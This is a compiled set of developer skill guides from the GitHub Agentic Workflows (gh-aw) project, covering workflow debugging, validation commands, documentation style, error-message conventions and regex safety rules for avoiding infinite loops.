```markdown
---
on:
  issues:
    types: [opened]
permissions:
  issues: write
timeout-minutes: 10
engine: copilot
tools:
  github:
    mode: remote
    toolsets: [default]
safe-outputs:
  create-issue:
    labels: [ai-generated]
---

# Workflow Title

Natural language instructions for the AI agent.

Use GitHub context like ${{ github.event.issue.number }}.
```

### Execution Flow

```
1. Trigger Event (issue opened, PR created, schedule, etc.)
     ↓
2. Activation Job
   - Validates permissions
   - Processes mcp-scripts
   - Sanitizes context
     ↓
3. AI Agent Job
   - Loads MCP servers and tools
   - Executes AI agent with prompt
   - Agent makes tool calls
   - Agent produces output
     ↓
4. Safe Outputs Job
   - Processes agent output
   - Creates GitHub resources (issues, PRs, etc.)
   - Applies labels, comments
     ↓
5. Completion
   - Workflow summary generated
   - Artifacts uploaded
```

### Key Components

| Component | Purpose | Configuration |
|-----------|---------|---------------|
| **Engine** | AI model to use | `engine: copilot`, `claude`, `codex` |
| **Tools** | APIs available to agent | `tools:` section with MCP servers |
| **MCP Scripts** | Context passed to agent | `mcp-scripts:` with GitHub expressions |
| **Safe-Outputs** | Resources agent can create | `safe-outputs:` with allowed operations |
| **Permissions** | GitHub token permissions | `permissions:` block |
| **Network** | Allowed network access | `network:` with domain/ecosystem lists |

### Compilation Process

```bash
# Compile workflow to GitHub Actions YAML
gh aw compile <workflow-name>

# Result: .github/workflows/<name>.md → .github/workflows/<name>.lock.yml
```

The `.lock.yml` file is the actual GitHub Actions workflow that runs.

## Common Issues and Solutions

### Missing Tool Errors

**Symptoms**:
- Error: "Tool 'github:read_issue' not found"
- Agent cannot access GitHub APIs

**Solution**: Add GitHub MCP server configuration:

```yaml
tools:
  github:
    mode: remote
    toolsets: [default]
```

### Permission Errors

**Symptoms**:
- HTTP 403 (Forbidden) errors
- "Resource not accessible" errors

**Solution**: Add required permissions:

```yaml
permissions:
  contents: read
  issues: write
  pull-requests: write
```

### Safe-Input Errors

**Symptoms**:
- "missing tool configuration for mcpscripts-gh"
- Environment variable not available

**Solution**: Configure mcp-scripts:

```yaml
mcp-scripts:
  issue:
    script: |
      return { title: process.env.ISSUE_TITLE, body: process.env.ISSUE_BODY };
    env:
      ISSUE_TITLE: ${{ github.event.issue.title }}
      ISSUE_BODY: ${{ github.event.issue.body }}
```

### Safe-Output Errors

**Symptoms**:
- Agent tries to create resources but fails
- "Safe output not enabled" errors

**Solution**: Enable safe-outputs:

```yaml
safe-outputs:
  staged: false  # Set to false to actually create resources
  create-issue:
    labels: [ai-generated]
```

### Cascading Safe-Output Message Failures (Process Safe Outputs step)

**Symptoms**:
- `Process Safe Outputs` reports multiple failed messages in one run
- One failed `update_pull_request` message includes a 403 workflows-permission warning
- Other failed messages (for example `add_comment`) include `Bad credentials`

**What this means**:
- Do not assume all safe-output failures share one root cause.
- A 403 workflows-permission error on `update_pull_request` can be expected/non-fatal in some workflows.
- A 401-style `Bad credentials` error on other messages is a separate authentication failure that needs its own fix.

**Diagnostic steps**:

```bash
# Summarize failed safe-output messages and types
gh aw audit <run-id>

# Include additional artifacts when diagnosis needs more context
gh aw audit <run-id> --artifacts usage,github-api,mcp,agent

# Escalate to full artifact collection for hard-to-classify failures
gh aw audit <run-id> --artifacts all

# Inspect full failing job logs to classify each message failure
gh run view <run-id> --job=<job-id> --log
```

- Triage each failed message by its own HTTP status code and tool/action name.
- Check `permissions:` for missing scopes when 403 errors appear.
- Compare the "failed message count" against the individual failed message lines to confirm whether there are multiple independent failures.
- If several credential failures cluster together in time, investigate token freshness/expiry and token source for the run.

### Network Access Errors

**Symptoms**:
- Firewall denials
- URLs appearing as "(redacted)"

**Solution**: Configure network access:

```yaml
network:
  allowed:
    - defaults
    - python    # For PyPI
    - node      # For npm
    - "api.example.com"  # Custom domains
```

### Timeout Errors

**Symptoms**:
- Workflow exceeds time limit
- Agent loops or hangs

**Solution**: Increase timeout or optimize prompt:

```yaml
timeout-minutes: 30  # Increase from default
```

## Advanced Debugging Techniques

### Polling In-Progress Runs

When a run is still executing:

```bash
# Poll until completion
while true; do
  output=$(gh aw audit <run-id> --json 2>&1)
  if echo "$output" | grep -q '"status":.*"\(completed\|failure\|cancelled\)"'; then
    echo "$output"
    break
  fi
  echo "⏳ Run still in progress. Waiting 45 seconds..."
  sleep 45
done
```

### Inspecting MCP Configuration

```bash
# Inspect MCP servers for a workflow
gh aw mcp inspect <workflow-name>

# List all workflows with MCP servers
gh aw mcp list
```

### Checking Workflow Status

```bash
# Show status of all agentic workflows
gh aw status
```

### Downloading Specific Artifacts

```bash
# Download only the agent log artifact
GH_REPO=owner/repo gh run download <run-id> -n agent-stdio.log
```

### Inspecting Job Logs

```bash
# View specific job logs
gh run view <run-id>
gh run view --job <job-id> --log
```

### Analyzing Firewall Logs

```bash
# Parse firewall logs for network issues
gh aw logs --parse

# Check firewall-enabled runs
gh aw logs --firewall
```

### Debug Mode Compilation

```bash
# Compile with verbose output
gh aw compile --verbose

# Compile with strict security checks
gh aw compile --strict

# Run security scanners
gh aw compile --actionlint --zizmor --poutine
```

## Reference Commands

### Log Analysis Commands

| Command | Description |
|---------|-------------|
| `gh aw logs` | Download logs for all workflows |
| `gh aw logs <workflow>` | Download logs for specific workflow |
| `gh aw logs --json` | Output as JSON |
| `gh aw logs --start-date -1d` | Filter by date |
| `gh aw logs --engine copilot` | Filter by engine |
| `gh aw logs --parse` | Generate Markdown reports |

### Audit Commands

| Command | Description |
|---------|-------------|
| `gh aw audit <run-id>` | Audit specific run |
| `gh aw audit <url>` | Audit from GitHub URL |
| `gh aw audit <run-id> --json` | Output as JSON |
| `gh aw audit <run-id> --parse` | Parse logs to Markdown |

### MCP Commands

| Command | Description |
|---------|-------------|
| `gh aw mcp list` | List workflows with MCP servers |
| `gh aw mcp inspect <workflow>` | Inspect MCP configuration |

### Status Commands

| Command | Description |
|---------|-------------|
| `gh aw status` | Show all workflow status |
| `gh aw compile` | Compile all workflows |
| `gh aw compile <workflow>` | Compile specific workflow |
| `gh aw compile --strict` | Compile with security checks |

### Workflow Execution Commands

| Command | Description |
|---------|-------------|
| `gh aw run <workflow>` | Trigger workflow manually |
| `gh workflow run <name>.lock.yml` | Alternative trigger method |
| `gh run watch <run-id>` | Monitor running workflow |

## Additional Resources

- [Workflow Health Monitoring Runbook](../../aw/runbooks/workflow-health.md) - Step-by-step investigation procedures
- [Common Issues Reference](../../../docs/src/content/docs/troubleshooting/common-issues.md) - Frequently encountered issues
- [Error Reference](../../../docs/src/content/docs/troubleshooting/errors.md) - Error codes and solutions
- [GitHub MCP Server Documentation](../github-mcp-server/SKILL.md) - Tool configuration reference

<!-- chapter:end slug=debugging-workflows -->

---

<!-- chapter:begin slug=developer position=6 -->

## 6. developer

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/developer/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/developer/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/developer.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: developer
description: Core developer rules and coding conventions for gh-aw changes.
---


# Developer Instructions

Use this reference for gh-aw technical specs and development guidelines across code organization, validation, security, and implementation patterns.

## Table of Contents

- [Operational Command Playbook](#operational-command-playbook)
- [Capitalization Guidelines](#capitalization-guidelines)
- [Sub-Skills](#sub-skills)


## Operational Command Playbook

Use this section for the detailed day-to-day command flow that was intentionally removed from `AGENTS.md` to keep first-run ambient context small.

### Validation checkpoints

Run validation in tiers — catch compile errors early, defer slow tests to the final pass only.

1. **After each significant code edit** (fast, <5s — catch compile errors immediately)
   ```bash
   make build && make fmt
   ```
2. **Before every intermediate `report_progress` call** (fast, <30s — no tests)
   ```bash
   make agent-report-progress-no-test
   ```
3. **Before the FINAL `report_progress` call** (change-scoped, includes impacted Go tests)
   ```bash
   make agent-report-progress
   ```
4. **Before final handoff when time allows**
   ```bash
   make agent-finish
   ```

> **Key rule:** Run `test-unit` only before the **final** `report_progress` call, not before intermediate saves. The pre-PR targets scope formatting, linting, tests, and workflow drift checks to the branch changes.

> **Timeout budget:** `make agent-report-progress` should normally finish in under 30 seconds. Workflow source or compiler changes additionally run the full workflow drift check. Set `TEST_UNIT_RUN_FULL=1` only when the full Go suite is required.

### Change-type command matrix

- Go file changes: `make fmt`
- Workflow markdown changes: `make recompile`
- JavaScript (`*.cjs`) changes: `make fmt-cjs && make lint-cjs`

### Common focused checks from recent repository work

- `pkg/workflow/` edits: run `go test ./pkg/workflow -count=1` during iteration; narrow with `-run` when only one workflow behavior is under active change.
- `actions/setup/js/` edits: after `make fmt-cjs && make lint-cjs`, run the targeted `actions/setup/js/*.test.cjs` suites for the files you touched. Gateway changes commonly validate with `npx vitest run actions/setup/js/start_mcp_gateway.test.cjs`.
- Workflow source changes that also touch compiler or runtime code: run `make recompile`, then rerun the affected focused Go or JavaScript checks before the final `make agent-report-progress`.

### Merge-main playbook

When explicitly asked to merge main:

1. Run `make merge-main`.
2. If conflicts exist in `.go` or `.cjs`, resolve and stage files.
3. Run:
   ```bash
   make build
   make recompile
   git commit
   make fmt
   ```

## Capitalization Guidelines

The gh-aw CLI follows context-based capitalization to distinguish between the product name and generic workflow references.

### Capitalization Rules

| Context | Format | Example |
|---------|--------|---------|
| Product name | **Capitalized** | "GitHub Agentic Workflows CLI from GitHub Next" |
| Generic workflows | **Lowercase** | "Enable agentic workflows" |
| Technical terms | **Capitalized** | "Compile Markdown workflows to GitHub Actions YAML" |

This convention distinguishes between the product name (GitHub Agentic Workflows) and the concept (agentic workflows), following industry standards similar to "GitHub Actions" vs. "actions".

### Implementation

The capitalization rules are enforced through automated tests in `cmd/gh-aw/capitalization_test.go` that run as part of the standard test suite.


## Sub-Skills

The following sub-skills cover specific areas of the codebase. Load them lazily when the task requires the specific domain:

| Sub-skill | When to use |
|-----------|-------------|
| `.github/skills/developer-code-organization/SKILL.md` | Creating new files, refactoring, WASM stubs, file size decisions |
| `.github/skills/developer-security/SKILL.md` | Implementing new features, reviewing for security, template injection concerns |
| `.github/skills/developer-internals/SKILL.md` | Working on compiler internals, validation, safe outputs, MCP server, schema changes |
| `.github/skills/developer-release/SKILL.md` | Creating a release, evaluating breaking changes, firewall log analysis |

<!-- chapter:end slug=developer -->

---

<!-- chapter:begin slug=documentation position=7 -->

## 7. documentation

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/documentation/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/documentation/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/documentation.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: documentation
description: Write concise Diataxis docs for gh-aw with Starlight markdown conventions.
---

### Documentation

Documentation lives in `docs/`, uses GitHub-flavored Markdown, renders with Astro Starlight, and follows Diátaxis.

## Diátaxis Framework

Organize documentation into four Diátaxis types:

### 1. Tutorials (Learning-Oriented)
**Purpose**: Guide beginners through achieving a specific outcome to build confidence.

- Start with what the user will build or achieve
- Provide a clear, step-by-step path from start to finish
- Include concrete examples and working code
- Assume minimal prior knowledge
- Focus on the happy path (avoid edge cases and alternatives)
- End with a working result the user can see and use
- Use imperative mood: "Create a file", "Run the command"

**Avoid**: Explaining concepts in depth, multiple options, troubleshooting

### 2. How-to Guides (Goal-Oriented)
**Purpose**: Show how to solve a specific real-world problem or accomplish a particular task.

- Title format: "How to [accomplish specific goal]"
- Assume the user knows the basics
- Focus on practical steps to solve one problem
- Include necessary context but stay focused
- Show multiple approaches only when genuinely useful
- End when the goal is achieved
- Use imperative mood: "Configure the setting", "Add the following"

**Avoid**: Teaching fundamentals, explaining every detail, being exhaustive

### 3. Reference (Information-Oriented)
**Purpose**: Provide accurate, complete technical descriptions of the system.

- Organized by structure (CLI commands, configuration options, API endpoints)
- Comprehensive and authoritative
- Consistent format across all entries
- Technical accuracy is paramount
- Include all parameters, options, and return values
- Use descriptive mood: "The command accepts", "Returns a string"
- Minimal narrative or explanation

**Avoid**: Instructions, tutorials, opinions on usage

### 4. Explanation (Understanding-Oriented)
**Purpose**: Clarify and illuminate topics to deepen understanding.

- Discuss why things are the way they are
- Explain design decisions and tradeoffs
- Provide context and background
- Connect concepts to help form mental models
- Discuss alternatives and their implications
- Use indicative mood: "This approach provides", "The engine uses"

**Avoid**: Step-by-step instructions, exhaustive reference material

## General Style Guidelines

- **Tone**: Neutral, technical, not promotional
- **Voice**: Avoid "we", "our", "us" (use "the tool", "this command")
- **Headings**: Use markdown heading syntax, not bold text as headings
- **Lists**: Avoid long bullet point lists; prefer prose with structure
- **Code samples**: Minimal and focused; exclude optional fields unless relevant
- **Language tag**: Use `aw` for agentic workflow snippets with YAML frontmatter

**Example workflow code block**:
```aw wrap
on: push
# Your workflow steps here
```

## GitHub-Flavored Markdown Syntax

Documentation files use GitHub-flavored markdown with Astro Starlight for rendering. Key syntax elements:

### Frontmatter
Every documentation page must have frontmatter:
```markdown
title: Page Title
description: Brief description for SEO and navigation
```

### GitHub Alerts
Use GitHub's alert syntax for notes, tips, warnings, and cautions:
```markdown
> [!NOTE]
> Important information the reader should notice.

> [!TIP]
> Helpful advice for the reader.

> [!WARNING]
> Warning about potential issues or pitfalls.

> [!CAUTION]
> Critical warning about dangerous operations.

> [!IMPORTANT]
> Key information users need to know.
```

### Code Blocks
- Use syntax highlighting with language tags
- Add `title` attribute for file names: ` ```yaml title=".github/workflows/example.yml" `
- Use `aw` language for agentic workflow files with YAML frontmatter
- Add `wrap` for line wrapping: ` ```aw wrap `

### Links
- Internal links: Use relative paths between documentation pages
- External links: Open in new tab automatically
- Link text: Use descriptive text, avoid "click here"

### Tabs
Use tabs for showing alternatives (e.g., different languages, platforms):
```markdown
import { Tabs, TabItem } from '@astrojs/starlight/components';

<Tabs>
  <TabItem label="npm">
    ```bash
    npm install package
    ```
  </TabItem>
  <TabItem label="yarn">
    ```bash
    yarn add package
    ```
  </TabItem>
</Tabs>
```

### Cards
Use cards for navigation or highlighting multiple options:
```markdown
import { Card, CardGrid } from '@astrojs/starlight/components';

<CardGrid>
  <Card title="Getting Started" icon="rocket">
    Quick introduction to the basics.
  </Card>
  <Card title="Advanced Usage" icon="setting">
    Deep dive into advanced features.
  </Card>
</CardGrid>
```

**Remember**: Keep components minimal. Prefer standard markdown when possible.

## Content to Avoid

- "Key Features" sections
- Marketing language or selling points
- Excessive bullet points (prefer structured prose)
- Overly verbose examples with all optional parameters
- Mixing documentation types (e.g., tutorials that become reference)

## Avoiding Documentation Bloat

Documentation bloat reduces clarity and makes content harder to navigate. Common types of bloat include:

### Types of Documentation Bloat

1. **Duplicate content**: Same information repeated in different sections
2. **Excessive bullet points**: Long lists that could be condensed into prose or tables
3. **Redundant examples**: Multiple examples showing the same concept
4. **Verbose descriptions**: Overly wordy explanations that could be more concise
5. **Repetitive structure**: The same "What it does" / "Why it's valuable" pattern overused

### Writing Concise Documentation

When editing documentation, focus on:

**Consolidate bullet points**: 
- Convert long bullet lists into concise prose or tables
- Remove redundant points that say the same thing differently

**Eliminate duplicates**:
- Remove repeated information
- Consolidate similar sections

**Condense verbose text**:
- Make descriptions more direct and concise
- Remove filler words and phrases
- Keep technical accuracy while reducing word count

**Standardize structure**:
- Reduce repetitive "What it does" / "Why it's valuable" patterns
- Use varied, natural language

**Simplify code samples**:
- Remove unnecessary complexity from code examples
- Focus on demonstrating the core concept clearly
- Eliminate boilerplate or setup code unless essential for understanding
- Keep examples minimal yet complete
- Use realistic but simple scenarios

### Example: Before and After

**Before (Bloated)**:
```markdown
### Tool Name
Description of the tool.

- **What it does**: This tool does X, Y, and Z
- **Why it's valuable**: It's valuable because A, B, and C
- **How to use**: You use it by doing steps 1, 2, 3, 4, 5
- **When to use**: Use it when you need X
- **Benefits**: Gets you benefit A, benefit B, benefit C
- **Learn more**: [Link](url)
```

**After (Concise)**:
```markdown
### Tool Name
Description of the tool that does X, Y, and Z to achieve A, B, and C.

Use it when you need X by following steps 1-5. [Learn more](url)
```

### Documentation Quality Guidelines

1. **Preserve meaning**: Never lose important information
2. **Be surgical**: Make precise edits, don't rewrite everything
3. **Maintain tone**: Keep the neutral, technical tone
4. **Test locally**: Verify links and formatting are still correct

## Structure by File Type

- **Getting Started**: Tutorial format
- **How-to Guides**: Goal-oriented, one task per guide
- **CLI Reference**: Reference format, complete command documentation
- **Concepts**: Explanation format, building understanding
- **API Reference**: Reference format, complete API documentation

<!-- chapter:end slug=documentation -->

---

<!-- chapter:begin slug=error-messages position=8 -->

## 8. error-messages

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/error-messages/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/error-messages/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/error-messages.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (1), referenced from this skill's directory:
  - `ssl.json` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/error-messages/ssl.json

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: error-messages
description: Write consistent, actionable validation error messages in gh-aw.
---


# Error Message Style Guide

Use this format for gh-aw validation errors. Keep messages clear, actionable, and example-driven.

## Error Message Template

```
[what's wrong]. [what's expected]. [example of correct usage]
```

Make each error message answer three questions:
1. **What's wrong?** - Clearly state the validation error
2. **What's expected?** - Explain the valid format or values
3. **How to fix it?** - Provide a concrete example of correct usage

## Constructive Language

Avoid standalone negative wording. Pair it with expected behavior and a concrete fix.

| Avoid only-negative wording | Prefer constructive wording |
|---|---|
| `invalid` | `expected` + valid format/options |
| `cannot` | `requires` + precondition |
| `must` | `should` + example |
| `failed` | action context + recovery step |

❌ `invalid repo format: %s`  
✅ `invalid repo format '%s' — expected 'owner/repo' format (for example: 'github/gh-aw')`

❌ `not in a git repository`  
✅ `not in a git repository — run 'git init' or 'cd' to a git repository`

## When to use `NewValidationError` vs `fmt.Errorf`

- Use `NewValidationError(field, value, reason, suggestion)` in `*_validation.go` logic.
  - Use `field` for the exact config path
  - Use `reason` for what failed
  - Use `suggestion` for an actionable fix with an example
- Use `fmt.Errorf` for operational/wrapping errors (`%w`) where you are propagating a lower-level failure with context.
- Avoid generic wrappers like `fmt.Errorf("failed to X: %w", err)` unless you add recovery guidance.

## Suggestion Text Checklist

Every `suggestion` should:

1. Explain what to change
2. Include a minimal valid YAML/code example
3. Use ✓/✗ markers when ambiguity is likely

Example:

```text
Use one supported engine.
✓ Example:
engine: copilot

✗ Avoid:
engine: unknown
```

## YAML Example Guidelines

- Keep examples minimal and valid YAML
- Use real frontmatter field names
- Quote only when YAML requires it
- Prefer 2-space indentation

## Good Examples

These examples follow the template and provide actionable guidance:

### Time Delta Validation (from time_delta.go)
```go
return nil, fmt.Errorf("invalid time delta format: +%s. Expected format like +25h, +3d, +1w, +1mo, +1d12h30m", deltaStr)
```
✅ **Why it's good:**
- Clearly identifies the invalid input
- Lists multiple valid format examples
- Shows combined formats (+1d12h30m)

### Type Validation with Example
```go
return "", fmt.Errorf("manual-approval value must be a string, got %T. Example: manual-approval: \"production\"", val)
```
✅ **Why it's good:**
- Shows actual type received (%T)
- Provides concrete YAML example
- Uses proper YAML syntax with quotes

### Enum Validation with Options
```go
return fmt.Errorf("invalid engine: %s. Valid engines are: copilot, claude, codex, custom. Example: engine: copilot", engineID)
```
✅ **Why it's good:**
- Lists all valid options
- Provides simplest example
- Uses consistent formatting

### MCP Configuration
```go
return fmt.Errorf("tool '%s' mcp configuration must specify either 'command' or 'container'. Example:\ntools:\n  %s:\n    command: \"npx @my/tool\"", toolName, toolName)
```
✅ **Why it's good:**
- Explains mutual exclusivity
- Shows realistic tool name
- Formats multi-line YAML example

## Bad Examples

These examples lack clarity or actionable guidance:

### Too Vague
```go
return fmt.Errorf("invalid format")
```
❌ **Problems:**
- Doesn't specify what format is invalid
- Doesn't explain expected format
- No example provided

### Missing Example
```go
return fmt.Errorf("manual-approval value must be a string")
```
❌ **Problems:**
- States requirement but no example
- User doesn't know proper YAML syntax
- Could be clearer about type received

### Incomplete Information
```go
return fmt.Errorf("invalid engine: %s", engineID)
```
❌ **Problems:**
- Doesn't list valid options
- No guidance on fixing the error
- User must search documentation

## When to Include Examples

Always include examples for:

1. **Format/Syntax Errors** - Show the correct syntax
   ```go
   fmt.Errorf("invalid date format. Expected: YYYY-MM-DD HH:MM:SS. Example: 2024-01-15 14:30:00")
   ```

2. **Enum/Choice Fields** - List all valid options
   ```go
   fmt.Errorf("invalid permission level: %s. Valid levels: read, write, none. Example: permissions:\n  contents: read", level)
   ```

3. **Type Mismatches** - Show expected type and example
   ```go
   fmt.Errorf("timeout-minutes must be an integer, got %T. Example: timeout-minutes: 10", value)
   ```

4. **Complex Configurations** - Provide complete valid example
   ```go
   fmt.Errorf("invalid MCP server config. Example:\nmcp-servers:\n  my-server:\n    command: \"node\"\n    args: [\"server.js\"]")
   ```

## When Examples May Be Optional

Examples can be omitted when:

1. **Error is from wrapped error** - When wrapping another error with context
   ```go
   return fmt.Errorf("failed to parse configuration: %w", err)
   ```

2. **Error is self-explanatory with clear context**
   ```go
   return fmt.Errorf("duplicate unit '%s' in time delta: +%s", unit, deltaStr)
   ```

3. **Error points to specific documentation**
   ```go
   return fmt.Errorf("unsupported feature. See https://docs.example.com/features")
   ```

## Formatting Guidelines

### Use Type Verbs for Dynamic Content
- `%s` - strings
- `%d` - integers  
- `%T` - type of value
- `%v` - general value
- `%w` - wrapped errors

### Multi-line Examples
For YAML configuration examples spanning multiple lines:
```go
fmt.Errorf("invalid config. Example:\ntools:\n  github:\n    mode: \"remote\"")
```

### Quoting in Examples
Use proper YAML syntax in examples:
```go
// Good - shows quotes when needed
fmt.Errorf("Example: name: \"my-workflow\"")

// Good - shows no quotes for simple values
fmt.Errorf("Example: timeout-minutes: 10")
```

### Consistent Terminology
Use the same field names as in YAML:
```go
// Good - matches YAML field name
fmt.Errorf("timeout-minutes must be positive")

// Bad - uses different name
fmt.Errorf("timeout must be positive")
```

## Error Message Testing

All improved error messages should have corresponding tests:

```go
func TestErrorMessageQuality(t *testing.T) {
    err := validateSomething(invalidInput)
    require.Error(t, err)
    
    // Error should explain what's wrong
    assert.Contains(t, err.Error(), "invalid")
    
    // Error should include expected format or values
    assert.Contains(t, err.Error(), "Expected")
    
    // Error should include example
    assert.Contains(t, err.Error(), "Example:")
}
```

## Migration Strategy

When improving existing error messages:

1. **Identify the error** - Find validation error that lacks clarity
2. **Analyze context** - Understand what's being validated
3. **Apply template** - Add what's wrong + expected + example
4. **Add tests** - Verify error message content
5. **Update comments** - Document the validation logic

## Examples by Category

### Format Validation
```go
// Time deltas
fmt.Errorf("invalid time delta format: +%s. Expected format like +25h, +3d, +1w, +1mo, +1d12h30m", input)

// Dates
fmt.Errorf("invalid date format: %s. Expected: YYYY-MM-DD or relative like -1w. Example: 2024-01-15 or -7d", input)

// URLs
fmt.Errorf("invalid URL format: %s. Expected: https:// URL. Example: https://api.example.com", input)
```

### Type Validation
```go
// Boolean expected
fmt.Errorf("read-only must be a boolean, got %T. Example: read-only: true", value)

// String expected
fmt.Errorf("workflow name must be a string, got %T. Example: name: \"my-workflow\"", value)

// Object expected
fmt.Errorf("permissions must be an object, got %T. Example: permissions:\n  contents: read", value)
```

### Choice/Enum Validation
```go
// Engine selection
fmt.Errorf("invalid engine: %s. Valid engines: copilot, claude, codex, custom. Example: engine: copilot", id)

// Permission levels
fmt.Errorf("invalid permission level: %s. Valid levels: read, write, none. Example: contents: read", level)

// Tool modes
fmt.Errorf("invalid mode: %s. Valid modes: local, remote. Example: mode: \"remote\"", mode)
```

### Configuration Validation
```go
// Missing required field
fmt.Errorf("tool '%s' missing required 'command' field. Example:\ntools:\n  %s:\n    command: \"node server.js\"", name, name)

// Mutually exclusive fields
fmt.Errorf("cannot specify both 'command' and 'container'. Choose one. Example: command: \"node server.js\"")

// Invalid combination
fmt.Errorf("http MCP servers cannot use 'container' field. Example:\ntools:\n  my-http:\n    type: http\n    url: \"https://api.example.com\"")
```

## References

- **Excellent example to follow**: `pkg/workflow/time_delta.go`
- **Pattern inspiration**: Go standard library error messages
- **Testing examples**: `pkg/workflow/*_test.go`

## Tools

When writing error messages, consider:
- The user's perspective (what do they need to fix it?)
- The context (where in the workflow is the error?)
- The documentation (should we reference specific docs?)
- The complexity (is multi-line example needed?)

<!-- chapter:end slug=error-messages -->

---

<!-- chapter:begin slug=error-pattern-safety position=9 -->

## 9. error-pattern-safety

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/error-pattern-safety/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/error-pattern-safety/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/error-pattern-safety.md
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: error-pattern-safety
description: Apply safe error-pattern matching rules for agentic engines.
---


# Error Pattern Safety Guidelines

Use these regex safety rules in agentic engines to prevent JavaScript infinite loops.

## The Problem

With the JavaScript global flag (`/pattern/g`), zero-width matches can cause infinite loops because:

1. JavaScript's `regex.exec()` with the `g` flag uses `lastIndex` to track position
2. When a pattern matches zero-width, `lastIndex` doesn't advance
3. The same position is matched repeatedly, causing an infinite loop

## Dangerous Pattern Examples

**❌ NEVER USE THESE PATTERNS:**

```javascript
// Pure .* - matches everything including empty string at end
/.*/g

// Single character with * - matches zero or more (including zero)
/a*/g

// Patterns that can match empty string
/(x|y)*/g
```

## Safe Pattern Examples

**✅ ALWAYS USE PATTERNS LIKE THESE:**

```javascript
// Required prefix before .*
/error.*/gi
/error.*permission.*denied/gi

// Specific structure with required content
/\[(\d{4}-\d{2}-\d{2})\]\s+(ERROR):\s+(.+)/g

// Required characters throughout
/access denied.*user.*not authorized/gi
```

## Pattern Safety Rules

1. **Always require at least one character match**
   - Use `.+` instead of `.*` when you need "something"
   - Ensure pattern has required prefix/suffix

2. **Never use bare `.*` as the entire pattern**
   - Always combine with required text: `error.*`
   - Never just `.*` or `.*?`

3. **Test patterns against empty string**
   ```javascript
   const regex = /your-pattern/g;
   if (regex.test("")) {
     throw new Error("Pattern matches empty string - DANGEROUS!");
   }
   ```

4. **Use specific anchors when possible**
   - Start: `^error.*`
   - End: `.*error$`
   - Word boundaries: `\berror\b`

## Validation Tests

All error patterns must pass the same safety checks used by the repo’s unit suite:

### Go tests

```go
// Test that pattern doesn't match empty string
func TestPatternSafety(t *testing.T) {
    pattern := "your-pattern"
    regex := regexp.MustCompile(pattern)

    if regex.MatchString("") {
        t.Error("Pattern matches empty string!")
    }
}
```

Run the relevant package tests with `make test-unit`.

### JavaScript tests

```javascript
test("should not match empty string", () => {
  const regex = new RegExp("your-pattern", "g");
  expect(regex.test("")).toBe(false);
});
```

Use the relevant `*.test.cjs` suite under `actions/setup/js/` or `pkg/workflow/js/` for the area you changed, or run the repo’s JavaScript checks via `make test-js`.

## Safety Mechanisms in the validation layer

The repo’s validation helpers include built-in protections for dangerous regex patterns:

1. **Zero-width detection**: Checks whether a regex stops advancing across iterations
2. **Iteration warning**: Warns when repeated runs approach a hang threshold
3. **Hard limit**: Stops execution before runaway loops can lock the process

```javascript
if (regex.lastIndex === lastIndex) {
  core.error(`Infinite loop detected! Pattern: ${pattern.pattern}`);
  break;
}
```

## Adding New Error Patterns

When adding new error patterns to engines:

1. **Write the pattern with required content**
   ```go
   {
       Pattern:      `(?i)error.*permission.*denied`,
       LevelGroup:   0,
       MessageGroup: 0,
       Description:  "Permission denied error",
   }
   ```

2. **Test against empty string**
   - Run: `make test-unit`
   - Checks: `TestAllEnginePatternsSafe`

3. **Test with actual log samples**
   - Ensure it matches real errors
   - Ensure it doesn't match informational text

4. **Document the pattern**
   - Add clear description
   - Note what it's designed to catch

## Pattern Conversion: Go to JavaScript

Patterns are converted from Go to JavaScript:

```go
// Go pattern (case-insensitive flag)
Pattern: `(?i)error.*permission.*denied`

// Converted to JavaScript
new RegExp("error.*permission.*denied", "gi")
```

The `(?i)` prefix is removed because JavaScript uses the `i` flag instead.

## Examples from Current Codebase

### ✅ Safe Patterns

```go
// Requires "error" prefix
Pattern: `(?i)error.*permission.*denied`

// Requires specific timestamp format
Pattern: `(\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z)\s+\[(ERROR)\]\s+(.+)`

// Requires "access denied" prefix
Pattern: `(?i)access denied.*user.*not authorized`
```

### How to Fix Unsafe Patterns

If you find a pattern that matches empty string:

**Before (unsafe):**
```go
Pattern: `.*error.*`  // Can match empty at start/end
```

**After (safe):**
```go
Pattern: `error.*`     // Requires "error" at start
// OR
Pattern: `.*error.+`   // Requires "error" and at least one char after
// OR
Pattern: `\berror\b.*` // Requires word "error"
```

## Testing Checklist

Before committing pattern changes:

- [ ] Run `make test-unit`
- [ ] Verify the relevant engine error-pattern tests still pass
- [ ] Run the JavaScript checks for the changed area with `make test-js` or the targeted Vitest suite
- [ ] Verify the pattern matches intended error messages
- [ ] Verify the pattern does not match informational text or empty-string edge cases

## References

- Go regex syntax: https://pkg.go.dev/regexp/syntax
- JavaScript regex: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions
- Current repo validation: `make test-unit` and `make test-js`

<!-- chapter:end slug=error-pattern-safety -->

---

<!-- chapter:begin slug=gh-agent-session position=10 -->

## 10. gh-agent-session

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/gh-agent-session/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/gh-agent-session/SKILL.md
